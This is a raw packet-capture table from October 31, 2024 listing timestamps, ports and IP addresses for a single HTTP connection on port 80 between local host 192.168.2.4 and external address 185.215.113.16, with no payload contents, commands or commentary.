Oct 31, 2024 03:04:21.359188080 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.359196901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.359214067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.359230995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.359251976 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.359280109 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.392719030 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.392730951 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.392740965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.392746925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.392847061 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.392872095 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395189047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395204067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395214081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395253897 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395292997 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395303965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395319939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395334005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395334005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395375013 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395522118 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395613909 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395652056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395661116 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395699978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395709038 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395709991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395720959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.395744085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.395770073 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396065950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396078110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396089077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396127939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396138906 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396147966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396159887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396173000 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396173954 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396173954 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396173954 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396223068 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396223068 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396795034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396837950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396848917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396848917 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396861076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396889925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396900892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396949053 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396949053 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396950006 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.396953106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396964073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.396972895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.397034883 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.397034883 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.397779942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.397792101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.397804976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.397911072 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.397911072 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.431442022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431452990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431463003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431473970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431583881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431593895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431629896 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431648970 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.431691885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.431804895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431814909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431832075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431843042 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431853056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.431860924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.431922913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.431922913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.432388067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.432399035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.432409048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.432420015 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.432461977 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.432507038 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.486993074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.487006903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.487018108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.487029076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.487066984 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.487122059 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.487159014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.487171888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.487224102 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.512023926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.512037039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.512048006 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.512154102 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.512154102 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.514555931 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514574051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514609098 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.514621019 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.514621973 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514632940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514743090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514754057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514763117 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.514765024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514779091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.514810085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.514810085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.515080929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515091896 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515101910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515115023 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515131950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515136957 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.515142918 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515152931 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.515153885 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515165091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515170097 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.515177011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515188932 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.515228987 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.515258074 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.516580105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516645908 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.516673088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516685009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516695023 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516706944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516719103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516731024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516741991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516747952 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.516747952 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.516753912 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.516784906 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.516784906 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.516879082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.517049074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.517060995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.517071009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.517086029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.517107964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.517137051 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550055981 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550076962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550087929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550124884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550132036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550142050 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550163984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550173044 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550174952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550201893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550218105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550383091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550393105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550445080 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550474882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550484896 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550525904 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.550918102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550930023 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.550940990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.551003933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.551003933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.551008940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.551021099 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.551032066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.551064014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.551136017 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.598320961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.598330975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.598341942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.598381996 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.598438978 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.598465919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.598476887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.598486900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.598537922 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.598553896 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.632159948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.632230997 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.632323027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.632333994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.632344961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.632395983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.632438898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635111094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635122061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635132074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635143995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635159969 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635173082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635211945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635257006 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635270119 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635334015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635416985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635427952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635574102 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635574102 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635588884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635611057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635623932 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635633945 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635646105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635674953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635674953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635765076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635776043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635787964 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635798931 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635811090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.635840893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635840893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.635864973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.636053085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636131048 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.636531115 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636583090 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.636698008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636708975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636724949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636768103 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.636806011 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.636856079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636867046 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636878014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636897087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636909008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636914015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.636914015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.636921883 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.636961937 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.637681961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.637693882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.637706041 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.637717009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.637734890 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.637748957 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.637811899 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.637814999 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.637824059 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.637877941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.668555021 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668569088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668580055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668673992 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.668704987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668716908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668728113 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668732882 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.668741941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.668792009 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.668792009 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.668859959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668939114 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.668972969 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668983936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.668994904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.669013977 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.669044018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.669322014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.669332981 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.669343948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.669447899 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.669447899 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.669450998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.669462919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.669473886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.669493914 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.669524908 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.715131998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.715145111 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.715154886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.715224981 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.715231895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.715245008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.715255976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.715267897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.715306997 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.715306997 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.748882055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.748943090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.748965025 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.748990059 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.749001026 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.749001026 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.749061108 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752243042 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752254963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752265930 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752331972 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752331972 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752338886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752356052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752368927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752379894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752379894 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752392054 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752392054 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752404928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752437115 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752437115 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752437115 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752451897 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752660036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752671957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752687931 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752726078 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752741098 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752760887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752774000 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752784014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752795935 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752810001 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752820015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752820015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752825975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.752882004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.752882004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.753546953 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753633022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.753643990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753655910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753671885 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753683090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753694057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753705978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753714085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.753720999 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.753732920 CET	80	63827	185.215.113.16	192.168.2.4
